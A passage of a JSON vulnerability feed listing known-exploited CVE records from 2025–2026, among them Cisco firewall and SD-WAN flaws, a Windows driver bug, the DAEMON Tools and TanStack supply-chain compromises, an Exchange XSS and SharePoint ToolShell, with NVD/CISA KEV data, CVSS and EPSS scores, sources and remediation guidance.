2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"CISA KEV entry CVE-2026-71362","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-09-24","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-71362 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-71362&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-71362, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-20349","cveId":"CVE-2026-20349","aliases":[],"kind":"vulnerability","title":"Cisco Secure Firewall Adaptive Security Appliance (ASA) and Secure Firewall Threat Defense (FTD) Heap Inspection Vulnerability","summary":"A vulnerability in the Remote Access SSL VPN service for Cisco Secure Firewall Adaptive Security Appliance (ASA) Software and Cisco Secure Firewall Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to cause the device to reload unexpectedly, resulting in a denial of service (DoS) condition.&nbsp;\r\n\r\nThis vulnerability is due to insufficient error checking when processing HTTP requests. An attacker could exploit this vulnerability by sending a crafted HTTP request to the Remote Access SSL VPN service on an affected device. A successful exploit could allow the attacker to cause the affected device to reload, resulting in a DoS condition.","detail":"A vulnerability in the Remote Access SSL VPN service for Cisco Secure Firewall Adaptive Security Appliance (ASA) Software and Cisco Secure Firewall Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to cause the device to reload unexpectedly, resulting in a denial of service (DoS) condition.&nbsp;\r\n\r\nThis vulnerability is due to insufficient error checking when processing HTTP requests. An attacker could exploit this vulnerability by sending a crafted HTTP request to the Remote Access SSL VPN service on an affected device. A successful exploit could allow the attacker to cause the affected device to reload, resulting in a DoS condition.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-08-11T17:17:48.833Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":"cisco","product":"adaptive security appliance software","stacks":["Cisco","Secure Firewall Adaptive Security Appliance (ASA) and Secure Firewall Threat Defense (FTD)","adaptive security appliance software"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-08-11","dueAt":"2026-08-14","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":8.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-20349","asOf":"2026-10-26T13:10:00.140Z"},"epss":{"probability":0.0101,"percentile":0.62897,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-20349&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-20349","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-20349","type":"primary","publishedAt":"2026-08-11T17:17:48.833Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS, affected products, and a CISA SSVC assessment reporting active exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-vpn-dos-dzv4mQFF","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"CISA KEV entry CVE-2026-20349","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-08-11","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-20349 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-20349&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-20349, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-68820","cveId":"CVE-2026-68820","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Ancillary Function Driver for WinSock Use-After-Free Vulnerability","summary":"Microsoft Windows Ancillary Function Driver for WinSock contains a use-after-free vulnerability that allows an authorized attacker to elevate privileges locally.","detail":"CISA added this entry on 2026-08-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-08-11","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":"Microsoft","product":"Windows Ancillary Function Driver for WinSock","stacks":["Microsoft Windows","Microsoft","Windows Ancillary Function Driver for WinSock","windows 10 1607"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-08-11","dueAt":"2026-08-25","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-68820","asOf":"2026-10-26T13:10:00.140Z"},"epss":{"probability":0.00332,"percentile":0.26158,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-68820&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-68820","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-08-11","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-68820 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"NVD CVE-2026-68820","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-68820","type":"primary","publishedAt":"2026-08-11T17:19:06.357Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS, affected products, and a CISA SSVC assessment reporting active exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-68820","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-68820&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-68820, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8398","cveId":"CVE-2026-8398","aliases":[],"kind":"vulnerability","title":"Daemon Tools Lite Embedded Malicious Code Vulnerability","summary":"A supply chain attack compromised the official installation packages of DAEMON Tools Lite (Windows versions 12.5.0.2421 through 12.5.0.2434), distributed from the legitimate website daemon-tools.cc between approximately April 8, 2026, and May 5, 2026. Attackers gained unauthorized access to the vendor's (AVB Disc Soft) build or distribution infrastructure and trojanized three binaries: DTHelper.exe, DiscSoftBusServiceLite.exe, and DTShellHlp.exe. These files were digitally signed with the legitimate AVB Disc Soft code-signing certificate, allowing the malicious installers to appear trustworthy and bypass signature-based detection.","detail":"A supply chain attack compromised the official installation packages of DAEMON Tools Lite (Windows versions 12.5.0.2421 through 12.5.0.2434), distributed from the legitimate website daemon-tools.cc between approximately April 8, 2026, and May 5, 2026. Attackers gained unauthorized access to the vendor's (AVB Disc Soft) build or distribution infrastructure and trojanized three binaries: DTHelper.exe, DiscSoftBusServiceLite.exe, and DTShellHlp.exe. These files were digitally signed with the legitimate AVB Disc Soft code-signing certificate, allowing the malicious installers to appear trustworthy and bypass signature-based detection.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-15T09:16:17.653Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"disc-soft","product":"daemon tools","stacks":["Disc-soft","Daemon","Daemon Tools Lite","daemon tools"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-05-27","dueAt":"2026-05-30","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8398","asOf":"2026-10-26T14:10:00.130Z"},"epss":{"probability":0.01456,"percentile":0.73307,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-8398&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8398","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8398","type":"primary","publishedAt":"2026-05-15T09:16:17.653Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS, affected products, and a CISA SSVC assessment reporting active exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://blog.daemon-tools.cc/post/security-incident","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"CISA KEV entry CVE-2026-8398","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-05-27","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-8398 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-8398&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-8398, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42897","cveId":"CVE-2026-42897","aliases":[],"kind":"vulnerability","title":"Microsoft Exchange Server Cross-Site Scripting Vulnerability","summary":"Microsoft Exchange Server contains a cross-site scripting vulnerability during web page generation in Outlook Web Access and when certain interaction conditions are met, arbitrary JavaScript can be executed in the browser context.","detail":"CISA added this entry on 2026-05-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-05-15","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"Microsoft","product":"Microsoft","stacks":["Microsoft Exchange","Microsoft","exchange server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-05-15","dueAt":"2026-05-29","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42897","asOf":"2026-10-26T14:10:00.130Z"},"epss":{"probability":0.70662,"percentile":0.99389,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-42897&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-42897","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-05-15","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-42897 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"NVD CVE-2026-42897","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42897","type":"primary","publishedAt":"2026-05-14T18:16:49.360Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS, affected products, and a CISA SSVC assessment reporting active exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42897","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-42897&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-42897, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-20182","cveId":"CVE-2026-20182","aliases":[],"kind":"vulnerability","title":"Cisco Catalyst SD-WAN Controller Authentication Bypass Vulnerability","summary":"May 2026: This security advisory provides the details and fix information for a vulnerability that was discovered and fixed after the  was disclosed in February 2026. This new advisory is for a new vulnerability in the control connection handshaking. The  section of this advisory includes Show Control Connections guidance to help with system checks.&nbsp;\r\n\r\nA vulnerability in the peering authentication in Cisco Catalyst SD-WAN Controller, formerly SD-WAN vSmart, Cisco Catalyst SD-WAN Manager, formerly SD-WAN vManage, and Cisco Catalyst SD-WAN Validator, formerly SD-WAN vBond, could allow an unauthenticated, remote attacker to bypass authentication and obtain administrative privileges on an affected system.\r\nThis vulnerability exists because the peering authentication mechanism in an affected system is not working properly. An attacker could exploit this vulnerability by sending crafted requests to the affected system. A successful exploit could allow the attacker to log in to an affected Cisco Catalyst SD-WAN Controller as an internal, high-privileged, non-root user account. Using this account, the attacker could access NETCONF, which would then allow the attacker to manipulate network configuration for the SD-WAN fabric.","detail":"May 2026: This security advisory provides the details and fix information for a vulnerability that was discovered and fixed after the  was disclosed in February 2026. This new advisory is for a new vulnerability in the control connection handshaking. The  section of this advisory includes Show Control Connections guidance to help with system checks.&nbsp;\r\n\r\nA vulnerability in the peering authentication in Cisco Catalyst SD-WAN Controller, formerly SD-WAN vSmart, Cisco Catalyst SD-WAN Manager, formerly SD-WAN vManage, and Cisco Catalyst SD-WAN Validator, formerly SD-WAN vBond, could allow an unauthenticated, remote attacker to bypass authentication and obtain administrative privileges on an affected system.\r\nThis vulnerability exists because the peering authentication mechanism in an affected system is not working properly. An attacker could exploit this vulnerability by sending crafted requests to the affected system. A successful exploit could allow the attacker to log in to an affected Cisco Catalyst SD-WAN Controller as an internal, high-privileged, non-root user account. Using this account, the attacker could access NETCONF, which would then allow the attacker to manipulate network configuration for the SD-WAN fabric.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T17:16:19.387Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"cisco","product":"catalyst sd-wan manager","stacks":["Cisco","Catalyst SD-WAN","catalyst sd-wan manager"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-05-14","dueAt":"2026-05-17","action":"Please adhere to CISA’s guidelines to assess exposure and mitigate risks associated with Cisco SD-WAN devices as outlined in CISA’s Emergency Directive 26-03 (URL listed below in Notes) and CISA’s Hunt & Hardening Guidance for Cisco SD-WAN Devices (URL listed below in Notes). Adhere to the applicable BOD 22-01 guidance for cloud services or discontinue use of the product if mitigations are not available.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":10,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-20182","asOf":"2026-10-26T14:10:00.130Z"},"epss":{"probability":0.91817,"percentile":0.99815,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-20182&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-20182","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-20182","type":"primary","publishedAt":"2026-05-14T17:16:19.387Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS, affected products, and a CISA SSVC assessment reporting active exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-rpa2-v69WY2SW","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"CISA KEV entry CVE-2026-20182","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-05-14","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-20182 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-20182&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-20182, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-45321","cveId":"CVE-2026-45321","aliases":[],"kind":"vulnerability","title":"TanStack Unspecified Vulnerability","summary":"On 2026-05-11, between approximately 19:20 and 19:26 UTC, 84 malicious versions across 42 @tanstack/* packages were published to the npm registry. The publishes were authenticated via the legitimate GitHub Actions OIDC trusted-publisher binding for TanStack/router, but the publish workflow itself was not modified. The attacker chained three known vulnerability classes — a pull_request_target \"Pwn Request\" misconfiguration, GitHub Actions cache poisoning across the fork↔base trust boundary, and runtime memory extraction of the OIDC token from the Actions runner process — to publish credential-stealing malware under a trusted identity. Each affected package received exactly two malicious versions, published a few minutes apart.","detail":"On 2026-05-11, between approximately 19:20 and 19:26 UTC, 84 malicious versions across 42 @tanstack/* packages were published to the npm registry. The publishes were authenticated via the legitimate GitHub Actions OIDC trusted-publisher binding for TanStack/router, but the publish workflow itself was not modified. The attacker chained three known vulnerability classes — a pull_request_target \"Pwn Request\" misconfiguration, GitHub Actions cache poisoning across the fork↔base trust boundary, and runtime memory extraction of the OIDC token from the Actions runner process — to publish credential-stealing malware under a trusted identity. Each affected package received exactly two malicious versions, published a few minutes apart.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T01:16:46.820Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"tanstack","product":"tanstack\\/arktype-adapter","stacks":["Tanstack","TanStack","tanstack\\/arktype-adapter"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-05-27","dueAt":"2026-06-10","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-45321","asOf":"2026-10-26T18:10:00.173Z"},"epss":{"probability":0.03278,"percentile":0.88338,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-45321&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-45321","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45321","type":"primary","publishedAt":"2026-05-12T01:16:46.820Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS, affected products, and a CISA SSVC assessment reporting active exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/TanStack/router/security/advisories/GHSA-g7cv-rxg3-hmpx","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"CISA KEV entry CVE-2026-45321","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-05-27","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-45321 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-45321&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-45321, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-53770","cveId":"CVE-2025-53770","aliases":["ToolShell"],"kind":"vulnerability","title":"On-premises SharePoint untrusted deserialization","summary":"Untrusted deserialization permits remote code execution in affected on-premises SharePoint Server deployments. CISA lists known exploitation, and Microsoft documents related attack chains, stolen machine keys, and ransomware deployment.","detail":"SharePoint Online is not affected by the on-premises vulnerabilities in Microsoft's investigation. CVE-2025-53770 is a patch bypass for CVE-2025-49704 and can be used in a chain; those identifiers describe distinct vulnerabilities, not aliases for this CVE.","action":"Apply Microsoft's applicable SharePoint updates, enable and correctly configure AMSI, rotate ASP.NET machine keys, restart IIS, and perform incident response. Use the vendor's full guidance for prerequisites and compromise assessment.","publishedAt":"2025-07-20","updatedAt":"2025-07-23","regions":["Global"],"vendor":"Microsoft","product":"On-premises SharePoint Server","stacks":["Microsoft Windows","Microsoft SharePoint",".NET","Microsoft","SharePoint","Windows","Web applications"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-07-20","dueAt":"2025-07-21","action":"Disconnect public-facing versions of SharePoint Server that have reached their end-of-life (EOL) or end-of-service (EOS) to include SharePoint Server 2013 and earlier versions. For supported versions, please follow the mitigations according to CISA (URL listed below in Notes) and vendor instructions (URL listed below in Notes). Adhere to the applicable BOD 22-01 guidance for cloud services or discontinue use of the product if mitigations are not 